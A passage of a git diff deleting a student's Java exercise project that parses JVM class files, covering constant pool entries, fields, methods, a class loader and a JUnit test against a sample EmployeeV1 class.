-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantPool.java
deleted file mode 100644
index 86c0445695..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public Object getSize() {		
-		return this.constantInfos.size() -1;
-	}
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 65475e194c..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 7f05870020..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-	
-	
-	
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 402f9dec86..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 936736016f..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/StringInfo.java
deleted file mode 100644
index f1f8eb4ed4..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-	
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/UTF8Info.java
deleted file mode 100644
index 5cac9f04f7..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	
-	
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/field/Field.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/field/Field.java
deleted file mode 100644
index dc4dfff971..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/field/Field.java
+++ /dev/null
@@ -1,44 +0,0 @@
-package com.coderising.jvm.field;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	
-	
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-	
-	
-	
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
-		int accessflag = iter.nextU2ToInt();
-		int nameindex = iter.nextU2ToInt();
-		int descriptorindex = iter.nextU2ToInt();
-		int attributecount = iter.nextU2ToInt();
-		if (attributecount > 0) {
-			throw new RuntimeException("该字段中有属性" + attributecount + "个，未进行解析");
-		}
-		Field field = new Field(accessflag, nameindex, descriptorindex, pool);
-		return field;
-
-	}
-	public String toString() {
-		return pool.getUTF8String(this.nameIndex)+":"+pool.getUTF8String(this.descriptorIndex);
-	}
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index 40b792eda5..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.util.Arrays;
-
-import com.coderising.jvm.util.Util;
-
-public  class ByteCodeIterator {
-	public byte[] codes;
-	public int pos = 0;
-
-	public ByteCodeIterator(byte[] codes) {
-		this.codes = codes;
-	}
-
-	
-
-	public byte[] getBytes(int len) {
-		if (pos + len >= codes.length) {
-			throw new ArrayIndexOutOfBoundsException();
-		}
-
-		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
-		pos += len;
-		return data;
-	}
-
-	public int nextU1toInt() {
-
-		return Util.byteToInt(new byte[] { codes[pos++] });
-	}
-
-	public int nextU2ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
-	}
-
-	public int nextU4ToInt() {
-		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
-	}
-
-	public String nextU4ToHexString() {
-		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
-	}
-
-	public String nextUxToHexString(int len) {
-		byte[] tmp = new byte[len];
-
-		for (int i = 0; i < len; i++) {
-			tmp[i] = codes[pos++];
-		}
-		return Util.byteToHexString(tmp).toLowerCase();
-
-	}
-
-	public void back(int n) {
-		this.pos -= n;
-	}
-
-	public boolean isNotEnd(){
-		if(pos<codes.length){
-			return true;
-		}else{
-			return false;
-		}
-	}
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 33185d8175..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,140 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
-
-import com.coderising.jvm.clz.ClassFile;
-
-
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		
-		className = className.replace('.', File.separatorChar) +".class";
-		
-		for(String path : this.clzPaths){
-			
-			String clzFileName = path + File.separatorChar + className;
-			byte[] codes = loadClassFile(clzFileName);
-			if(codes != null){
-				return codes;
-			}			
-		}
-		
-		return null;
-		
-		
-		
-	}
-	
-	private byte[] loadClassFile(String clzFileName) {
-		
-		File f = new File(clzFileName);
-		
-		try {
-		
-			return IOUtils.toByteArray(new FileInputStream(f));
-			
-		} catch (IOException e) {			
-			e.printStackTrace();
-			return null;
-		}
-	}
-	
-	
-	
-	public void addClassPath(String path) {
-		if(this.clzPaths.contains(path)){
-			return;
-		}
-		
-		this.clzPaths.add(path);
-		
-	}
-	
-	
-	
-	public String getClassPath(){
-		return StringUtils.join(this.clzPaths,";");
-	}
-
-	public ClassFile loadClass(String className) {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-		
-	}
-	
-	
-	
-	// ------------------------------backup------------------------
-    public String getClassPath_V1(){
-		
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<this.clzPaths.size();i++){
-			buffer.append(this.clzPaths.get(i));
-			if(i<this.clzPaths.size()-1){
-				buffer.append(";");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	private byte[] loadClassFile_V1(String clzFileName) {
-		
-		BufferedInputStream bis = null;
-		
-		try {
-			
-			File f = new File(clzFileName);
-			
-						
-			bis = new BufferedInputStream(new FileInputStream(f));
-			
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-			
-			
-			byte[] buffer = new byte[1024];
-			int length = -1;
-			
-			while((length = bis.read(buffer)) != -1){
-				bos.write(buffer, 0, length);				
-			}
-			
-			byte [] codes = bos.toByteArray();
-			
-			return codes;
-			
-		} catch(IOException e){
-			e.printStackTrace();
-			
-		} finally{
-			if(bis != null){
-				try {
-					bis.close();
-				} catch (IOException e) {					
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-		
-	}
-
-
-	
-
-}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
deleted file mode 100644
index 03b965aa87..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,170 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileParser {
-
-    public ClassFile parse(byte[] codes) {
-
-
-        ClassFile clzFile = new ClassFile();
-
-        ByteCodeIterator iter = new ByteCodeIterator(codes);
-
-        String magicNumber = iter.nextU4ToHexString();
-
-        if (!"cafebabe".equals(magicNumber)) {
-            return null;
-        }
-
-        clzFile.setMinorVersion(iter.nextU2ToInt());
-        clzFile.setMajorVersion(iter.nextU2ToInt());
-
-        ConstantPool pool = parseConstantPool(iter);
-        clzFile.setConstPool(pool);
-
-        AccessFlag flag = parseAccessFlag(iter);
-        clzFile.setAccessFlag(flag);
-
-        ClassIndex clzIndex = parseClassInfex(iter);
-        clzFile.setClassIndex(clzIndex);
-
-        parseInterfaces(iter);
-
-        parseFields(clzFile, iter);
-
-        parseMethods(clzFile, iter);
-
-        return clzFile;
-    }
-
-    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-
-        AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
-        // System.out.println("Is public class: " + flag.isPublicClass());
-        // System.out.println("Is final class : " + flag.isFinalClass());
-
-        return flag;
-    }
-
-    private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-
-        int thisClassIndex = iter.nextU2ToInt();
-        int superClassIndex = iter.nextU2ToInt();
-
-        ClassIndex clzIndex = new ClassIndex();
-
-        clzIndex.setThisClassIndex(thisClassIndex);
-        clzIndex.setSuperClassIndex(superClassIndex);
-
-        return clzIndex;
-
-    }
-
-    private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-
-        int constPoolCount = iter.nextU2ToInt();
-
-        System.out.println("Constant Pool Count :" + constPoolCount);
-
-        ConstantPool pool = new ConstantPool();
-
-        pool.addConstantInfo(new NullConstantInfo());
-
-        for (int i = 1; i <= constPoolCount - 1; i++) {
-
-            int tag = iter.nextU1toInt();
-
-            if (tag == 7) {
-                // Class Info
-                int utf8Index = iter.nextU2ToInt();
-                ClassInfo clzInfo = new ClassInfo(pool);
-                clzInfo.setUtf8Index(utf8Index);
-
-                pool.addConstantInfo(clzInfo);
-            } else if (tag == 1) {
-                // UTF-8 String
-                int len = iter.nextU2ToInt();
-                byte[] data = iter.getBytes(len);
-                String value = null;
-                try {
-                    value = new String(data, "UTF-8");
-                } catch (UnsupportedEncodingException e) {
-                    e.printStackTrace();
-                }
-
-                UTF8Info utf8Str = new UTF8Info(pool);
-                utf8Str.setLength(len);
-                utf8Str.setValue(value);
-                pool.addConstantInfo(utf8Str);
-            } else if (tag == 8) {
-                StringInfo info = new StringInfo(pool);
-                info.setIndex(iter.nextU2ToInt());
-                pool.addConstantInfo(info);
-            } else if (tag == 9) {
-                FieldRefInfo field = new FieldRefInfo(pool);
-                field.setClassInfoIndex(iter.nextU2ToInt());
-                field.setNameAndTypeIndex(iter.nextU2ToInt());
-                pool.addConstantInfo(field);
-            } else if (tag == 10) {
-                // MethodRef
-                MethodRefInfo method = new MethodRefInfo(pool);
-                method.setClassInfoIndex(iter.nextU2ToInt());
-                method.setNameAndTypeIndex(iter.nextU2ToInt());
-                pool.addConstantInfo(method);
-            } else if (tag == 12) {
-                // Name and Type Info
-                NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
-                nameType.setIndex1(iter.nextU2ToInt());
-                nameType.setIndex2(iter.nextU2ToInt());
-                pool.addConstantInfo(nameType);
-            } else {
-                throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
-            }
-        }
-
-        System.out.println("Finished reading Constant pool ");
-
-        return pool;
-    }
-
-    private void parseInterfaces(ByteCodeIterator iter) {
-        int interfaceCount = iter.nextU2ToInt();
-
-        System.out.println("interfaceCount:" + interfaceCount);
-
-        // TODO : 如果实现了interface, 这里需要解析
-    }
-
-    private void parseFields(ClassFile clzFile, ByteCodeIterator iterator) {
-        int fieldsNum = iterator.nextU2ToInt();
-        for (int i = 0; i < fieldsNum; i++) {
-            clzFile.addField(Field.parse(clzFile.getConstantPool(), iterator));
-        }
-    }
-
-
-    private void parseMethods(ClassFile clzFile,ByteCodeIterator iterator){
-        int method_count = iterator.nextU2ToInt();
-        for (int i = 0; i < method_count; i++) {
-            Method method = Method.parse(clzFile,iterator);
-            clzFile.addMethod(method);
-        }
-
-    }
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/method/Method.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/method/Method.java
deleted file mode 100644
index 48fe76a1de..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/method/Method.java
+++ /dev/null
@@ -1,66 +0,0 @@
-package com.coderising.jvm.method;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Method {
-
-    private int accessFlag;
-    private int nameIndex;
-    private int descriptorIndex;
-
-    private CodeAttr codeAttr;
-
-    private ClassFile clzFile;
-
-
-    public ClassFile getClzFile() {
-        return clzFile;
-    }
-
-    public int getNameIndex() {
-        return nameIndex;
-    }
-
-    public int getDescriptorIndex() {
-        return descriptorIndex;
-    }
-
-    public CodeAttr getCodeAttr() {
-        return codeAttr;
-    }
-
-    public void setCodeAttr(CodeAttr code) {
-        this.codeAttr = code;
-    }
-
-    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
-        this.clzFile = clzFile;
-        this.accessFlag = accessFlag;
-        this.nameIndex = nameIndex;
-        this.descriptorIndex = descriptorIndex;
-    }
-
-
-    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
-        int access_flag = iter.nextU2ToInt();
-        int name_index = iter.nextU2ToInt();
-        int descriptor_index = iter.nextU2ToInt();
-        int attributes_count = iter.nextU2ToInt();
-        Method method = new Method(clzFile, access_flag, name_index, descriptor_index);
-
-        System.out.println("method_info" + name_index + "有" + attributes_count + "个属性");
-
-        for (int i = 0; i < attributes_count; i++) {
-            method.setCodeAttr(CodeAttr.parse(clzFile, iter));
-        }
-
-        return method;
-
-    }
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index c4ab5853ab..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,354 +0,0 @@
-package com.coderising.jvm.test;
-
-import java.util.List;
-
-import com.coderising.jvm.cmd.BiPushCmd;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.OneOperandCmd;
-import com.coderising.jvm.cmd.TwoOperandCmd;
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week6_jvm\\out\\production\\week6_jvm";
-	static String path2 = "C:\temp";
-
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-
-		clzFile = loader.loadClass(className);
-
-	}
-
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testClassPath(){
-
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-
-		String clzPath = loader.getClassPath();
-
-		Assert.assertEquals(path1+";"+path2,clzPath);
-
-	}
-
-	@Test
-	public void testClassFileLength() {
-
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-
-		String className = "com.coderising.jvm.test.EmployeeV1";
-
-		byte[] byteCodes = loader.readBinaryCode(className);
-
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-
-	}
-
-
-	@Test
-	public void testMagicNumber(){
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-
-
-		String acctualValue = this.byteToHexString(codes);
-
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-
-
-
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-	/**
-	 * ----------------------------------------------------------------------
-	 */
-
-
-	@Test
-	public void testVersion(){
-
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-
-	}
-
-	@Test
-	public void testConstantPool(){
-
-
-		ConstantPool pool = clzFile.getConstantPool();
-
-		Assert.assertEquals(53, pool.getSize());
-
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-	}
-	@Test
-	public void testClassIndex(){
-
-		ClassIndex clzIndex = clzFile.getClzIndex();
-		ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-		ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-
-
-		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-	}
-
-	/**
-	 * 下面是第三次JVM课应实现的测试用例
-	 */
-	@Test
-	public void testReadFields(){
-
-		List<Field> fields = clzFile.getFields();
-		Assert.assertEquals(2, fields.size());
-		{
-			Field f = fields.get(0);
-			Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-		}
-		{
-			Field f = fields.get(1);
-			Assert.assertEquals("age:I", f.toString());
-		}
-	}
-	@Test
-	public void testMethods(){
-
-		List<Method> methods = clzFile.getMethods();
-		ConstantPool pool = clzFile.getConstantPool();
-
-		{
-			Method m = methods.get(0);
-			assertMethodEquals(pool,m,
-					"<init>",
-					"(Ljava/lang/String;I)V",
-					"2ab7000c2a2bb5000f2a1cb50011b1");
-
-		}
-		{
-			Method m = methods.get(1);
-			assertMethodEquals(pool,m,
-					"setName",
-					"(Ljava/lang/String;)V",
-					"2a2bb5000fb1");
-
-		}
-		{
-			Method m = methods.get(2);
-			assertMethodEquals(pool,m,
-					"setAge",
-					"(I)V",
-					"2a1bb50011b1");
-		}
-		{
-			Method m = methods.get(3);
-			assertMethodEquals(pool,m,
-					"sayHello",
-					"()V",
-					"b2001c1222b60024b1");
-
-		}
-		{
-			Method m = methods.get(4);
-			assertMethodEquals(pool,m,
-					"main",
-					"([Ljava/lang/String;)V",
-					"bb000159122b101db7002d4c2bb6002fb1");
-		}
-	}
-
-	private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-		String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
